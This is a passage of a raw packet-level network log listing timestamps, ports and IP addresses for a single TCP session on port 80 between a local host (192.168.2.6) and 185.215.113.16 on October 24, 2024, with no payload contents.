Oct 24, 2024 11:02:37.224423885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224435091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224442959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.224447012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224462986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224469900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.224476099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224487066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224498987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.224499941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224512100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224522114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.224524021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.224545956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.261713028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261766911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261771917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.261780024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261792898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261837006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.261912107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261966944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.261979103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262049913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262053967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262067080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262079000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262131929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262151003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262162924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262176037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262197018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262202024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262211084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262218952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262222052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262233019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262243986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262254953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262265921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262290955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262304068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262316942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.262345076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.262367964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.269284964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299447060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299468994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299480915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299556971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299581051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299592018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299602985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299614906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299633026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299652100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299894094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299912930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299926043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299937010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299937963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299949884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299967051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.299968958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299981117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.299989939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300012112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300024033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300035000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300055027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300060034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300065041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300111055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300399065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300447941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300460100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300501108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300513029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300524950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300534964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300549030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300553083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300707102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300719023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300731897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300738096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300738096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300744057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300755024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300766945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300777912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300784111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300790071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300803900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300805092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300832033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300853014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300858974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300863981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300877094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300885916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300896883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300899982 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300909042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300919056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300925970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300950050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.300952911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300961971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300972939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300993919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.300997972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.301004887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301016092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.301018000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301057100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.301843882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301881075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301891088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301897049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.301922083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.301975012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.301986933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302010059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302023888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302031040 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.302035093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302047014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302072048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.302098036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.302159071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302203894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302215099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302226067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302254915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.302278996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.302362919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302375078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.302414894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340590954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340606928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340620041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340632915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340667009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340708017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340732098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340745926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340761900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340771914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340802908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340815067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340900898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340913057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340925932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340938091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.340964079 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.340991020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341166019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341178894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341191053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341201067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341213942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341218948 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341224909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341237068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341245890 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341264963 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341331959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341345072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341356993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341379881 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341408014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341489077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341500998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341511965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341523886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341538906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341789007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341809034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341823101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341835022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341846943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341859102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341872931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341885090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341896057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341921091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341953039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.341979027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.341990948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342003107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342015028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342024088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342067003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342134953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342149019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342155933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342195988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342297077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342308998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342319965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342331886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342344999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342348099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342365980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342386961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342444897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342622042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342634916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342645884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342657089 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342658043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342683077 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342788935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342799902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342811108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342823029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342833042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342847109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342855930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342868090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342869043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342880964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342895031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342899084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342917919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.342941046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342952967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342966080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.342978954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343079090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343091965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343259096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343266964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343271017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343285084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343297958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343303919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343308926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343327045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343329906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343363047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343406916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343420029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343430996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343444109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343463898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343556881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343569994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343609095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343714952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343725920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343735933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343749046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343756914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343763113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343772888 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343775988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343786001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343799114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343827009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.343975067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343986988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.343997002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344010115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344019890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344032049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344037056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344043970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344055891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344064951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344068050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344103098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344125032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344136953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344149113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344158888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344172001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344176054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344183922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344208002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344216108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344294071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344306946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344319105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344338894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344363928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344454050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344465017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344475985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344487906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344500065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344511032 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344518900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344635963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344647884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344660997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344675064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344692945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344729900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.344789028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344801903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344815016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344825983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344832897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344844103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344856024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344866991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344954967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344964027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344974995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344986916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.344996929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345010042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345021009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345032930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345079899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345269918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345282078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345293999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345304012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345314026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345344067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345433950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345444918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345458031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345482111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345504999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:37.345617056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345635891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345670938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345681906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:37.345694065 CEST	80	49756	185.215.113.16	192.168.2.6
